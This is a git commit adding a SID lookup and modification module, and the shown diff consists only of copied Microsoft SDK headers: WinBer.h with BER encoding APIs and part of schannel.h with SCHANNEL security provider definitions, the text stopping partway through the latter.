New SID module

[remove] misc::addsid
[new] sid:: module, to lookup, query, modify, add... (2003/2008r2/2012r2 right now)
This commit is contained in:
Benjamin DELPY 2016-05-06 01:31:04 +02:00
parent ea52c92cec
commit 81594553f7
15 changed files with 5280 additions and 230 deletions

344
inc/WinBer.h Normal file
View File

@ -0,0 +1,344 @@
/*++
Copyright (c) 1996-1999 Microsoft Corporation
Module Name:
winber.h Basic Encoding Rules (BER) API header file
Abstract:
This module is the header file for the 32 bit BER library on
Windows NT and Windows 95.
Updates :
Environments :
Win32 user mode
--*/
//
// Only pull in this header file once.
//
#ifndef _WINBER_DEFINED_
#define _WINBER_DEFINED_
#if _MSC_VER > 1000
#pragma once
#endif
#ifdef __cplusplus
extern "C" {
#endif
#if !defined(_WINBER_)
#define WINBERAPI DECLSPEC_IMPORT
#else
//#define WINBERAPI __declspec(dllexport)
#define WINBERAPI
#endif
#ifndef BERAPI
#define BERAPI __cdecl
#endif
#define LBER_ERROR 0xffffffffL
#define LBER_DEFAULT 0xffffffffL
typedef unsigned int ber_tag_t; /* for BER tags */
typedef int ber_int_t; /* for BER ints, enums, and Booleans */
typedef unsigned int ber_uint_t; /* unsigned equivalent of ber_int_t */
typedef unsigned int ber_len_t; /* for BER octet strings and bit strings */
typedef int ber_slen_t; /* signed equivalent of ber_len_t */
//
// This constructs a new BerElement structure containing a copy of the
// data in the supplied berval structure.
//
WINBERAPI BerElement * BERAPI ber_init( BERVAL *pBerVal );
//
// This frees a BerElement which is returned from ber_alloc_t()
// or ber_init(). The second argument - fbuf should always be set
// to 1.
//
//
WINBERAPI VOID BERAPI ber_free( BerElement *pBerElement, INT fbuf );
//
// Frees a BERVAL structure. Applications should not call
// this API to free BERVAL structures which they themselves
// have allocated
//
WINBERAPI VOID BERAPI ber_bvfree( BERVAL *pBerVal );
//
// Frees an array of BERVAL structures.
//
WINBERAPI VOID BERAPI ber_bvecfree( PBERVAL *pBerVal );
//
// Returns a copy of a the supplied berval structure
//
WINBERAPI BERVAL * BERAPI ber_bvdup( BERVAL *pBerVal );
//
// Constructs and returns a BerElement structure. The options field
// contains a bitwise-or of options which are to be used when generating
// the encoding of the BerElement
//
// The LBER_USE_DER options should always be specified.
//
WINBERAPI BerElement * BERAPI ber_alloc_t( INT options );
//
// This skips over the current tag and returns the tag of the next
// element in the supplied BerElement. The lenght of this element is
// stored in the pLen argument.
//
// LBER_DEFAULT is returned if there is no further data to be read
// else the tag of the next element is returned.
//
// The difference between ber_skip_tag() and ber_peek_tag() is that the
// state pointer is advanced past the first tag+lenght and is pointed to
// the value part of the next element
//
WINBERAPI ULONG BERAPI ber_skip_tag( BerElement *pBerElement, ULONG *pLen );
//
// This returns the tag of the next element to be parsed in the
// supplied BerElement. The length of this element is stored in the
// pLen argument.
//
// LBER_DEFAULT is returned if there is no further data to be read
// else the tag of the next element is returned.
//
WINBERAPI ULONG BERAPI ber_peek_tag( BerElement *pBerElement, ULONG *pLen);
//
// This returns the tag and length of the first element in a SET, SET OF
// or SEQUENCE OF data value.
//
// LBER_DEFAULT is returned if the constructed value is empty else, the tag
// is returned. It also returns an opaque cookie which has to be passed to
// subsequent invocations of ber_next_element().
//
WINBERAPI ULONG BERAPI ber_first_element( BerElement *pBerElement, ULONG *pLen, __out CHAR **ppOpaque );
//
// This positions the state at the start of the next element in the
// constructed type.
//
// LBER_DEFAULT is returned if the constructed value is empty else, the tag
// is returned.
//
WINBERAPI ULONG BERAPI ber_next_element( BerElement *pBerElement, ULONG *pLen, __in CHAR *opaque );
//
// This allocates a BerVal structure whose contents are taken from the
// supplied BerElement structure.
//
// The return values are 0 on success and -1 on error.
//
WINBERAPI INT BERAPI ber_flatten( BerElement *pBerElement, PBERVAL *pBerVal );
/*
The ber_printf() routine is used to encode a BER element in much the
same way that sprintf() works. One important difference, though, is
that state information is kept in the ber argument so that multiple
calls can be made to ber_printf() to append to the end of the BER ele-
ment. ber MUST be a pointer to a BerElement returned by ber_alloc_t().
ber_printf() interprets and formats its arguments according to the for-
mat string fmt. ber_printf() returns -1 if there is an error during
encoding and a non-negative number if successful. As with sprintf(),
each character in fmt refers to an argument to ber_printf().
The format string can contain the following format characters:
't' Tag. The next argument is a ber_tag_t specifying the tag to
override the next element to be written to the ber. This works
across calls. The integer tag value SHOULD contain the tag
class, constructed bit, and tag value. For example, a tag of
"[3]" for a constructed type is 0xA3U. All implementations MUST
support tags that fit in a single octet (i.e., where the tag
value is less than 32) and they MAY support larger tags.
'b' Boolean. The next argument is an ber_int_t, containing either 0
for FALSE or 0xff for TRUE. A boolean element is output. If
this format character is not preceded by the 't' format modif-
ier, the tag 0x01U is used for the element.
'e' Enumerated. The next argument is a ber_int_t, containing the
enumerated value in the host's byte order. An enumerated ele-
ment is output. If this format character is not preceded by the
't' format modifier, the tag 0x0AU is used for the element.
'i' Integer. The next argument is a ber_int_t, containing the
integer in the host's byte order. An integer element is output.
If this format character is not preceded by the 't' format
modifier, the tag 0x02U is used for the element.
'n' Null. No argument is needed. An ASN.1 NULL element is output.
If this format character is not preceded by the 't' format
modifier, the tag 0x05U is used for the element.
'o' Octet string. The next two arguments are a char *, followed by
a ber_len_t with the length of the string. The string MAY con-
tain null bytes and are do not have to be zero-terminated. An
octet string element is output, in primitive form. If this for-
mat character is not preceded by the 't' format modifier, the
tag 0x04U is used for the element.
's' Octet string. The next argument is a char * pointing to a
zero-terminated string. An octet string element in primitive
form is output, which does not include the trailing '\0' (null)
byte. If this format character is not preceded by the 't' format
modifier, the tag 0x04U is used for the element.
'v' Several octet strings. The next argument is a char **, an array
of char * pointers to zero-terminated strings. The last element
in the array MUST be a NULL pointer. The octet strings do not
include the trailing '\0' (null) byte. Note that a construct
like '{v}' is used to get an actual SEQUENCE OF octet strings.
The 't' format modifier cannot be used with this format charac-
ter.
'V' Several octet strings. A NULL-terminated array of struct berval
*'s is supplied. Note that a construct like '{V}' is used to
get an actual SEQUENCE OF octet strings. The 't' format modifier
cannot be used with this format character.
'{' Begin sequence. No argument is needed. If this format charac-
ter is not preceded by the 't' format modifier, the tag 0x30U is
used.
'}' End sequence. No argument is needed. The 't' format modifier
cannot be used with this format character.
'[' Begin set. No argument is needed. If this format character is
not preceded by the 't' format modifier, the tag 0x31U is used.
']' End set. No argument is needed. The 't' format modifier cannot
be used with this format character.
*/
WINBERAPI INT BERAPI ber_printf( BerElement *pBerElement, __in PCHAR fmt, ... );
/*
The ber_scanf() routine is used to decode a BER element in much the same
way that sscanf() works. One important difference, though, is that some
state information is kept with the ber argument so that multiple calls
can be made to ber_scanf() to sequentially read from the BER element.
The ber argument SHOULD be a pointer to a BerElement returned by
ber_init(). ber_scanf interprets the bytes according to the format
string fmt, and stores the results in its additional arguments.
ber_scanf() returns LBER_ERROR on error, and a different value on suc-
cess.
The format string contains conversion specifications which are used to
direct the interpretation of the BER element. The format string can
contain the following characters:
'a' Octet string. A char ** argument MUST be supplied. Memory is
allocated, filled with the contents of the octet string, zero-
terminated, and the pointer to the string is stored in the argu-
ment. The returned value SHOULD be freed using ldap_memfree.
The tag of the element MUST indicate the primitive form
(constructed strings are not supported) but is otherwise ignored
and discarded during the decoding. This format cannot be used
with octet strings which could contain null bytes.
'O' Octet string. A struct berval ** argument MUST be supplied,
which upon return points to an allocated struct berval contain-
ing the octet string and its length. ber_bvfree() SHOULD be
called to free the allocated memory. The tag of the element
MUST indicate the primitive form (constructed strings are not
supported) but is otherwise ignored during the decoding.
'b' Boolean. A pointer to a ber_int_t MUST be supplied. The
ber_int_t value stored will be 0 for FALSE or nonzero for TRUE.
The tag of the element MUST indicate the primitive form but is
otherwise ignored during the decoding.
'e' Enumerated. A pointer to a ber_int_t MUST be supplied. The
enumerated value stored will be in host byte order. The tag of
the element MUST indicate the primitive form but is otherwise
ignored during the decoding. ber_scanf() will return an error
if the value of the enumerated value cannot be stored in a
ber_int_t.
'i' Integer. A pointer to a ber_int_t MUST be supplied. The
ber_int_t value stored will be in host byte order. The tag of
the element MUST indicate the primitive form but is otherwise
ignored during the decoding. ber_scanf() will return an error
if the integer cannot be stored in a ber_int_t.
'B' Bitstring. A char ** argument MUST be supplied which will point
to the allocated bits, followed by a ber_len_t * argument, which
will point to the length (in bits) of the bitstring returned.
ldap_memfree SHOULD be called to free the bitstring. The tag of
the element MUST indicate the primitive form (constructed bit-
strings are not supported) but is otherwise ignored during the
decoding.
'n' Null. No argument is needed. The element is verified to have a
zero-length value and is skipped. The tag is ignored.
'v' Several octet strings. A char *** argument MUST be supplied,
which upon return points to an allocated NULL-terminated array
of char *'s containing the octet strings. NULL is stored if the
sequence is empty. ldap_memfree SHOULD be called to free each
element of the array and the array itself. The tag of the
sequence and of the octet strings are ignored.
'V' Several octet strings (which could contain null bytes). A
struct berval *** MUST be supplied, which upon return points to
a allocated NULL-terminated array of struct berval *'s contain-
ing the octet strings and their lengths. NULL is stored if the
sequence is empty. ber_bvecfree() can be called to free the
allocated memory. The tag of the sequence and of the octet
strings are ignored.
'x' Skip element. The next element is skipped. No argument is
needed.
'{' Begin sequence. No argument is needed. The initial sequence
tag and length are skipped.
'}' End sequence. No argument is needed.
'[' Begin set. No argument is needed. The initial set tag and
length are skipped.
']' End set. No argument is needed.
*/
WINBERAPI ULONG BERAPI ber_scanf( BerElement *pBerElement, __in PCHAR fmt, ... );
#ifdef __cplusplus
}
#endif
#endif // _WINBER_DEFINED_

3285
inc/Winldap.h Normal file

File diff suppressed because it is too large Load Diff

876
inc/schannel.h Normal file
View File

@ -0,0 +1,876 @@
//+---------------------------------------------------------------------------
//
// Microsoft Windows
// Copyright (C) Microsoft Corporation, 1992-1999.
//
// File: schannel.h
//
// Contents: Public Definitions for SCHANNEL Security Provider
//
// Classes:
//
// Functions:
//
//----------------------------------------------------------------------------
#ifndef __SCHANNEL_H__
#define __SCHANNEL_H__
#if _MSC_VER > 1000
#pragma once
#endif
#include <wincrypt.h>
//
// Security package names.
//
#define UNISP_NAME_A "Microsoft Unified Security Protocol Provider"
#define UNISP_NAME_W L"Microsoft Unified Security Protocol Provider"
#define SSL2SP_NAME_A "Microsoft SSL 2.0"
#define SSL2SP_NAME_W L"Microsoft SSL 2.0"
#define SSL3SP_NAME_A "Microsoft SSL 3.0"
#define SSL3SP_NAME_W L"Microsoft SSL 3.0"
#define TLS1SP_NAME_A "Microsoft TLS 1.0"
#define TLS1SP_NAME_W L"Microsoft TLS 1.0"
#define PCT1SP_NAME_A "Microsoft PCT 1.0"
#define PCT1SP_NAME_W L"Microsoft PCT 1.0"
#define SCHANNEL_NAME_A "Schannel"
#define SCHANNEL_NAME_W L"Schannel"
#ifdef UNICODE
#define UNISP_NAME UNISP_NAME_W
#define PCT1SP_NAME PCT1SP_NAME_W
#define SSL2SP_NAME SSL2SP_NAME_W
#define SSL3SP_NAME SSL3SP_NAME_W
#define TLS1SP_NAME TLS1SP_NAME_W
#define SCHANNEL_NAME SCHANNEL_NAME_W
#else
#define UNISP_NAME UNISP_NAME_A
#define PCT1SP_NAME PCT1SP_NAME_A
#define SSL2SP_NAME SSL2SP_NAME_A
#define SSL3SP_NAME SSL3SP_NAME_A
#define TLS1SP_NAME TLS1SP_NAME_A
#define SCHANNEL_NAME SCHANNEL_NAME_A
#endif
enum eTlsSignatureAlgorithm
{
TlsSignatureAlgorithm_Anonymous = 0,
TlsSignatureAlgorithm_Rsa = 1,
TlsSignatureAlgorithm_Dsa = 2,
TlsSignatureAlgorithm_Ecdsa = 3
};
enum eTlsHashAlgorithm
{
TlsHashAlgorithm_None = 0,
TlsHashAlgorithm_Md5 = 1,
TlsHashAlgorithm_Sha1 = 2,
TlsHashAlgorithm_Sha224 = 3,
TlsHashAlgorithm_Sha256 = 4,
TlsHashAlgorithm_Sha384 = 5,
TlsHashAlgorithm_Sha512 = 6
};
//
// RPC constants.
//
#define UNISP_RPC_ID 14
//
// QueryContextAttributes/QueryCredentialsAttribute extensions
//
#define SECPKG_ATTR_ISSUER_LIST 0x50 // (OBSOLETE) returns SecPkgContext_IssuerListInfo
#define SECPKG_ATTR_REMOTE_CRED 0x51 // (OBSOLETE) returns SecPkgContext_RemoteCredentialInfo
#define SECPKG_ATTR_LOCAL_CRED 0x52 // (OBSOLETE) returns SecPkgContext_LocalCredentialInfo
#define SECPKG_ATTR_REMOTE_CERT_CONTEXT 0x53 // returns PCCERT_CONTEXT
#define SECPKG_ATTR_LOCAL_CERT_CONTEXT 0x54 // returns PCCERT_CONTEXT
#define SECPKG_ATTR_ROOT_STORE 0x55 // returns HCERTCONTEXT to the root store
#define SECPKG_ATTR_SUPPORTED_ALGS 0x56 // returns SecPkgCred_SupportedAlgs
#define SECPKG_ATTR_CIPHER_STRENGTHS 0x57 // returns SecPkgCred_CipherStrengths
#define SECPKG_ATTR_SUPPORTED_PROTOCOLS 0x58 // returns SecPkgCred_SupportedProtocols
#define SECPKG_ATTR_ISSUER_LIST_EX 0x59 // returns SecPkgContext_IssuerListInfoEx
#define SECPKG_ATTR_CONNECTION_INFO 0x5a // returns SecPkgContext_ConnectionInfo
#define SECPKG_ATTR_EAP_KEY_BLOCK 0x5b // returns SecPkgContext_EapKeyBlock
#define SECPKG_ATTR_MAPPED_CRED_ATTR 0x5c // returns SecPkgContext_MappedCredAttr
#define SECPKG_ATTR_SESSION_INFO 0x5d // returns SecPkgContext_SessionInfo
#define SECPKG_ATTR_APP_DATA 0x5e // sets/returns SecPkgContext_SessionAppData
#define SECPKG_ATTR_REMOTE_CERTIFICATES 0x5F // returns SecPkgContext_Certificates
#define SECPKG_ATTR_CLIENT_CERT_POLICY 0x60 // sets SecPkgCred_ClientCertCtlPolicy
#define SECPKG_ATTR_CC_POLICY_RESULT 0x61 // returns SecPkgContext_ClientCertPolicyResult
#define SECPKG_ATTR_USE_NCRYPT 0x62 // Sets the CRED_FLAG_USE_NCRYPT_PROVIDER FLAG on cred group
#define SECPKG_ATTR_LOCAL_CERT_INFO 0x63 // returns SecPkgContext_CertInfo
#define SECPKG_ATTR_CIPHER_INFO 0x64 // returns new CNG SecPkgContext_CipherInfo
#define SECPKG_ATTR_EAP_PRF_INFO 0x65 // sets SecPkgContext_EapPrfInfo
#define SECPKG_ATTR_SUPPORTED_SIGNATURES 0x66 // returns SecPkgContext_SupportedSignatures
// OBSOLETE - included here for backward compatibility only
typedef struct _SecPkgContext_RemoteCredentialInfo
{
DWORD cbCertificateChain;
PBYTE pbCertificateChain;
DWORD cCertificates;
DWORD fFlags;
DWORD dwBits;
} SecPkgContext_RemoteCredentialInfo, *PSecPkgContext_RemoteCredentialInfo;
typedef SecPkgContext_RemoteCredentialInfo SecPkgContext_RemoteCredenitalInfo, *PSecPkgContext_RemoteCredenitalInfo;
#define RCRED_STATUS_NOCRED 0x00000000
#define RCRED_CRED_EXISTS 0x00000001
#define RCRED_STATUS_UNKNOWN_ISSUER 0x00000002
// OBSOLETE - included here for backward compatibility only
typedef struct _SecPkgContext_LocalCredentialInfo
{
DWORD cbCertificateChain;
PBYTE pbCertificateChain;
DWORD cCertificates;
DWORD fFlags;
DWORD dwBits;
} SecPkgContext_LocalCredentialInfo, *PSecPkgContext_LocalCredentialInfo;
typedef SecPkgContext_LocalCredentialInfo SecPkgContext_LocalCredenitalInfo, *PSecPkgContext_LocalCredenitalInfo;
#define LCRED_STATUS_NOCRED 0x00000000
#define LCRED_CRED_EXISTS 0x00000001
#define LCRED_STATUS_UNKNOWN_ISSUER 0x00000002
typedef struct _SecPkgCred_SupportedAlgs
{
DWORD cSupportedAlgs;
ALG_ID *palgSupportedAlgs;
} SecPkgCred_SupportedAlgs, *PSecPkgCred_SupportedAlgs;
typedef struct _SecPkgCred_CipherStrengths
{
DWORD dwMinimumCipherStrength;
DWORD dwMaximumCipherStrength;
} SecPkgCred_CipherStrengths, *PSecPkgCred_CipherStrengths;
typedef struct _SecPkgCred_SupportedProtocols
{
DWORD grbitProtocol;
} SecPkgCred_SupportedProtocols, *PSecPkgCred_SupportedProtocols;
typedef struct _SecPkgCred_ClientCertPolicy
{
DWORD dwFlags;
GUID guidPolicyId;
DWORD dwCertFlags;
DWORD dwUrlRetrievalTimeout;
BOOL fCheckRevocationFreshnessTime;
DWORD dwRevocationFreshnessTime;
BOOL fOmitUsageCheck;
LPWSTR pwszSslCtlStoreName;
LPWSTR pwszSslCtlIdentifier;
} SecPkgCred_ClientCertPolicy, *PSecPkgCred_ClientCertPolicy;
typedef struct _SecPkgContext_ClientCertPolicyResult
{
HRESULT dwPolicyResult;
GUID guidPolicyId;
} SecPkgContext_ClientCertPolicyResult, *PSecPkgContext_ClientCertPolicyResult;
typedef struct _SecPkgContext_IssuerListInfoEx
{
PCERT_NAME_BLOB aIssuers;
DWORD cIssuers;
} SecPkgContext_IssuerListInfoEx, *PSecPkgContext_IssuerListInfoEx;
typedef struct _SecPkgContext_ConnectionInfo
{
DWORD dwProtocol;
ALG_ID aiCipher;
DWORD dwCipherStrength;
ALG_ID aiHash;
DWORD dwHashStrength;
ALG_ID aiExch;
DWORD dwExchStrength;
} SecPkgContext_ConnectionInfo, *PSecPkgContext_ConnectionInfo;
#define SZ_ALG_MAX_SIZE 64
#define SECPKGCONTEXT_CIPHERINFO_V1 1
typedef struct _SecPkgContext_CipherInfo
{
DWORD dwVersion;
DWORD dwProtocol;
DWORD dwCipherSuite;
DWORD dwBaseCipherSuite;
WCHAR szCipherSuite[SZ_ALG_MAX_SIZE];
WCHAR szCipher[SZ_ALG_MAX_SIZE];
DWORD dwCipherLen;
DWORD dwCipherBlockLen; // in bytes
WCHAR szHash[SZ_ALG_MAX_SIZE];
DWORD dwHashLen;
WCHAR szExchange[SZ_ALG_MAX_SIZE];
DWORD dwMinExchangeLen;
DWORD dwMaxExchangeLen;
WCHAR szCertificate[SZ_ALG_MAX_SIZE];
DWORD dwKeyType;
} SecPkgContext_CipherInfo, *PSecPkgContext_CipherInfo;
typedef struct _SecPkgContext_EapKeyBlock
{
BYTE rgbKeys[128];
BYTE rgbIVs[64];
} SecPkgContext_EapKeyBlock, *PSecPkgContext_EapKeyBlock;
typedef struct _SecPkgContext_MappedCredAttr
{
DWORD dwAttribute;
PVOID pvBuffer;
} SecPkgContext_MappedCredAttr, *PSecPkgContext_MappedCredAttr;
// Flag values for SecPkgContext_SessionInfo
#define SSL_SESSION_RECONNECT 1
typedef struct _SecPkgContext_SessionInfo
{
DWORD dwFlags;
DWORD cbSessionId;
BYTE rgbSessionId[32];
} SecPkgContext_SessionInfo, *PSecPkgContext_SessionInfo;
typedef struct _SecPkgContext_SessionAppData
{
DWORD dwFlags;
DWORD cbAppData;
__field_bcount(cbAppData) PBYTE pbAppData;
} SecPkgContext_SessionAppData, *PSecPkgContext_SessionAppData;
typedef struct _SecPkgContext_EapPrfInfo
{
DWORD dwVersion;
DWORD cbPrfData;
__field_bcount(cbPrfData) PBYTE pbPrfData;
} SecPkgContext_EapPrfInfo, *PSecPkgContext_EapPrfInfo;
typedef struct _SecPkgContext_SupportedSignatures
{
WORD cSignatureAndHashAlgorithms;
//
// Upper byte (from TLS 1.2, RFC 4346):
// enum {
// anonymous(0), rsa(1), dsa(2), ecdsa(3), (255)
// } SignatureAlgorithm;
//
// enum eTlsSignatureAlgorithm
//
// Lower byte (from TLS 1.2, RFC 4346):
// enum {
// none(0), md5(1), sha1(2), sha224(3), sha256(4), sha384(5),
// sha512(6), (255)
// } HashAlgorithm;
//
//
// enum eTlsHashAlgorithm
__field_ecount(cSignatureAndHashAlgorithms)
WORD *pSignatureAndHashAlgorithms;
} SecPkgContext_SupportedSignatures, *PSecPkgContext_SupportedSignatures;
//
// This property returns the raw binary certificates that were received
// from the remote party. The format of the buffer that's returned is as
// follows.
//
// <4 bytes> length of certificate #1
// <n bytes> certificate #1
// <4 bytes> length of certificate #2
// <n bytes> certificate #2
// ...
//
// After this data is processed, the caller of QueryContextAttributes
// must free the pbCertificateChain buffer using FreeContextBuffer.
//
typedef struct _SecPkgContext_Certificates
{
DWORD cCertificates;
DWORD cbCertificateChain;
PBYTE pbCertificateChain;
} SecPkgContext_Certificates, *PSecPkgContext_Certificates;
//
// This property returns information about a certificate. In particular
// it is useful (and only available) in the kernel where CAPI2 is not
// available.
//
typedef struct _SecPkgContext_CertInfo
{
DWORD dwVersion;
DWORD cbSubjectName;
LPWSTR pwszSubjectName;
DWORD cbIssuerName;
LPWSTR pwszIssuerName;
DWORD dwKeySize;
} SecPkgContext_CertInfo, *PSecPkgContext_CertInfo;
#define KERN_CONTEXT_CERT_INFO_V1 0x00000000
//
// Schannel credentials data structure.
//
#define SCH_CRED_V1 0x00000001
#define SCH_CRED_V2 0x00000002 // for legacy code
#define SCH_CRED_VERSION 0x00000002 // for legacy code
#define SCH_CRED_V3 0x00000003 // for legacy code
#define SCHANNEL_CRED_VERSION 0x00000004
struct _HMAPPER;
typedef struct _SCHANNEL_CRED
{
DWORD dwVersion; // always SCHANNEL_CRED_VERSION
DWORD cCreds;
PCCERT_CONTEXT *paCred;
HCERTSTORE hRootStore;
DWORD cMappers;
struct _HMAPPER **aphMappers;
DWORD cSupportedAlgs;
ALG_ID * palgSupportedAlgs;
DWORD grbitEnabledProtocols;
DWORD dwMinimumCipherStrength;
DWORD dwMaximumCipherStrength;
DWORD dwSessionLifespan;
DWORD dwFlags;
DWORD dwCredFormat;
} SCHANNEL_CRED, *PSCHANNEL_CRED;
// Values for SCHANNEL_CRED dwCredFormat field.
#define SCH_CRED_FORMAT_CERT_CONTEXT 0x00000000
#define SCH_CRED_FORMAT_CERT_HASH 0x00000001
#define SCH_CRED_FORMAT_CERT_HASH_STORE 0x00000002
#define SCH_CRED_MAX_STORE_NAME_SIZE 128
#define SCH_CRED_MAX_SUPPORTED_ALGS 256
#define SCH_CRED_MAX_SUPPORTED_CERTS 100
typedef struct _SCHANNEL_CERT_HASH
{
DWORD dwLength;
DWORD dwFlags;
HCRYPTPROV hProv;
BYTE ShaHash[20];
} SCHANNEL_CERT_HASH, *PSCHANNEL_CERT_HASH;
typedef struct _SCHANNEL_CERT_HASH_STORE
{
DWORD dwLength;
DWORD dwFlags;
HCRYPTPROV hProv;
BYTE ShaHash[20];
WCHAR pwszStoreName[SCH_CRED_MAX_STORE_NAME_SIZE];
} SCHANNEL_CERT_HASH_STORE, *PSCHANNEL_CERT_HASH_STORE;
// Values for SCHANNEL_CERT_HASH dwFlags field.
#define SCH_MACHINE_CERT_HASH 0x00000001
//+-------------------------------------------------------------------------
// Flags for use with SCHANNEL_CRED
//
// SCH_CRED_NO_SYSTEM_MAPPER
// This flag is intended for use by server applications only. If this
// flag is set, then schannel does *not* attempt to map received client
// certificate chains to an NT user account using the built-in system
// certificate mapper.This flag is ignored by non-NT5 versions of
// schannel.
//
// SCH_CRED_NO_SERVERNAME_CHECK
// This flag is intended for use by client applications only. If this
// flag is set, then when schannel validates the received server
// certificate chain, is does *not* compare the passed in target name
// with the subject name embedded in the certificate. This flag is
// ignored by non-NT5 versions of schannel. This flag is also ignored
// if the SCH_CRED_MANUAL_CRED_VALIDATION flag is set.
//
// SCH_CRED_MANUAL_CRED_VALIDATION
// This flag is intended for use by client applications only. If this
// flag is set, then schannel will *not* automatically attempt to
// validate the received server certificate chain. This flag is
// ignored by non-NT5 versions of schannel, but all client applications
// that wish to validate the certificate chain themselves should
// specify this flag, so that there's at least a chance they'll run
// correctly on NT5.
//
// SCH_CRED_NO_DEFAULT_CREDS
// This flag is intended for use by client applications only. If this
// flag is set, and the server requests client authentication, then
// schannel will *not* attempt to automatically acquire a suitable
// default client certificate chain. This flag is ignored by non-NT5
// versions of schannel, but all client applications that wish to
// manually specify their certicate chains should specify this flag,
// so that there's at least a chance they'll run correctly on NT5.
//
// SCH_CRED_AUTO_CRED_VALIDATION
// This flag is the opposite of SCH_CRED_MANUAL_CRED_VALIDATION.
// Conservatively written client applications will always specify one
// flag or the other.
//
// SCH_CRED_USE_DEFAULT_CREDS
// This flag is the opposite of SCH_CRED_NO_DEFAULT_CREDS.
// Conservatively written client applications will always specify one
// flag or the other.
//
// SCH_CRED_DISABLE_RECONNECTS
// This flag is intended for use by server applications only. If this
// flag is set, then full handshakes performed with this credential
// will not be marked suitable for reconnects. A cache entry will still
// be created, however, so the session can be made resumable later
// via a call to ApplyControlToken.
//
//
// SCH_CRED_REVOCATION_CHECK_END_CERT
// SCH_CRED_REVOCATION_CHECK_CHAIN
// SCH_CRED_REVOCATION_CHECK_CHAIN_EXCLUDE_ROOT
// These flags specify that when schannel automatically validates a
// received certificate chain, some or all of the certificates are to
// be checked for revocation. Only one of these flags may be specified.
// See the CertGetCertificateChain function. These flags are ignored by
// non-NT5 versions of schannel.
//
// SCH_CRED_IGNORE_NO_REVOCATION_CHECK
// SCH_CRED_IGNORE_REVOCATION_OFFLINE
// These flags instruct schannel to ignore the
// CRYPT_E_NO_REVOCATION_CHECK and CRYPT_E_REVOCATION_OFFLINE errors
// respectively if they are encountered when attempting to check the
// revocation status of a received certificate chain. These flags are
// ignored if none of the above flags are set.
//
// SCH_CRED_CACHE_ONLY_URL_RETRIEVAL_ON_CREATE
// This flag instructs schannel to pass CERT_CHAIN_CACHE_ONLY_URL_RETRIEVAL
// flags to CertGetCertificateChain when validating the specified
// credentials during a call to AcquireCredentialsHandle. The default for
// vista is to not specify CERT_CHAIN_CACHE_ONLY_URL_RETRIEVAL. Use
// SCH_CRED_CACHE_ONLY_URL_RETRIEVAL_ON_CREATE to override this behavior.
// NOTE: Prior to Vista, this flag(CERT_CHAIN_CACHE_ONLY_URL_RETRIEVAL) was
// specified by default.
//
// SCH_SEND_ROOT_CERT
// This flag instructs schannel to send the root cert as part of the
// certificate message.
//+-------------------------------------------------------------------------
#define SCH_CRED_NO_SYSTEM_MAPPER 0x00000002
#define SCH_CRED_NO_SERVERNAME_CHECK 0x00000004
#define SCH_CRED_MANUAL_CRED_VALIDATION 0x00000008
#define SCH_CRED_NO_DEFAULT_CREDS 0x00000010
#define SCH_CRED_AUTO_CRED_VALIDATION 0x00000020
#define SCH_CRED_USE_DEFAULT_CREDS 0x00000040
#define SCH_CRED_DISABLE_RECONNECTS 0x00000080
#define SCH_CRED_REVOCATION_CHECK_END_CERT 0x00000100
#define SCH_CRED_REVOCATION_CHECK_CHAIN 0x00000200
#define SCH_CRED_REVOCATION_CHECK_CHAIN_EXCLUDE_ROOT 0x00000400
#define SCH_CRED_IGNORE_NO_REVOCATION_CHECK 0x00000800
#define SCH_CRED_IGNORE_REVOCATION_OFFLINE 0x00001000
#define SCH_CRED_RESTRICTED_ROOTS 0x00002000
#define SCH_CRED_REVOCATION_CHECK_CACHE_ONLY 0x00004000
#define SCH_CRED_CACHE_ONLY_URL_RETRIEVAL 0x00008000
#define SCH_CRED_MEMORY_STORE_CERT 0x00010000
#define SCH_CRED_CACHE_ONLY_URL_RETRIEVAL_ON_CREATE 0x00020000
#define SCH_SEND_ROOT_CERT 0x00040000
//
//
// ApplyControlToken PkgParams types
//
// These identifiers are the DWORD types
// to be passed into ApplyControlToken
// through a PkgParams buffer.
#define SCHANNEL_RENEGOTIATE 0 // renegotiate a connection
#define SCHANNEL_SHUTDOWN 1 // gracefully close down a connection
#define SCHANNEL_ALERT 2 // build an error message
#define SCHANNEL_SESSION 3 // session control
// Alert token structure.
typedef struct _SCHANNEL_ALERT_TOKEN
{
DWORD dwTokenType; // SCHANNEL_ALERT
DWORD dwAlertType;
DWORD dwAlertNumber;
} SCHANNEL_ALERT_TOKEN;
// Alert types.
#define TLS1_ALERT_WARNING 1
#define TLS1_ALERT_FATAL 2
// Alert messages.
#define TLS1_ALERT_CLOSE_NOTIFY 0 // warning
#define TLS1_ALERT_UNEXPECTED_MESSAGE 10 // error
#define TLS1_ALERT_BAD_RECORD_MAC 20 // error
#define TLS1_ALERT_DECRYPTION_FAILED 21 // reserved
#define TLS1_ALERT_RECORD_OVERFLOW 22 // error
#define TLS1_ALERT_DECOMPRESSION_FAIL 30 // error
#define TLS1_ALERT_HANDSHAKE_FAILURE 40 // error
#define TLS1_ALERT_BAD_CERTIFICATE 42 // warning or error
#define TLS1_ALERT_UNSUPPORTED_CERT 43 // warning or error
#define TLS1_ALERT_CERTIFICATE_REVOKED 44 // warning or error
#define TLS1_ALERT_CERTIFICATE_EXPIRED 45 // warning or error
#define TLS1_ALERT_CERTIFICATE_UNKNOWN 46 // warning or error
#define TLS1_ALERT_ILLEGAL_PARAMETER 47 // error
#define TLS1_ALERT_UNKNOWN_CA 48 // error
#define TLS1_ALERT_ACCESS_DENIED 49 // error
#define TLS1_ALERT_DECODE_ERROR 50 // error
#define TLS1_ALERT_DECRYPT_ERROR 51 // error
#define TLS1_ALERT_EXPORT_RESTRICTION 60 // reserved
#define TLS1_ALERT_PROTOCOL_VERSION 70 // error
#define TLS1_ALERT_INSUFFIENT_SECURITY 71 // error
#define TLS1_ALERT_INTERNAL_ERROR 80 // error
#define TLS1_ALERT_USER_CANCELED 90 // warning or error
#define TLS1_ALERT_NO_RENEGOTIATION 100 // warning
#define TLS1_ALERT_UNSUPPORTED_EXT 110 // error
// Session control flags
#define SSL_SESSION_ENABLE_RECONNECTS 1
#define SSL_SESSION_DISABLE_RECONNECTS 2
// Session control token structure.
typedef struct _SCHANNEL_SESSION_TOKEN
{
DWORD dwTokenType; // SCHANNEL_SESSION
DWORD dwFlags;
} SCHANNEL_SESSION_TOKEN;
typedef struct _SCHANNEL_CLIENT_SIGNATURE
{
DWORD cbLength;
ALG_ID aiHash;
DWORD cbHash;
BYTE HashValue[36];
BYTE CertThumbprint[20];
} SCHANNEL_CLIENT_SIGNATURE, *PSCHANNEL_CLIENT_SIGNATURE;
//
// Flags for identifying the various different protocols.
//
/* flag/identifiers for protocols we support */
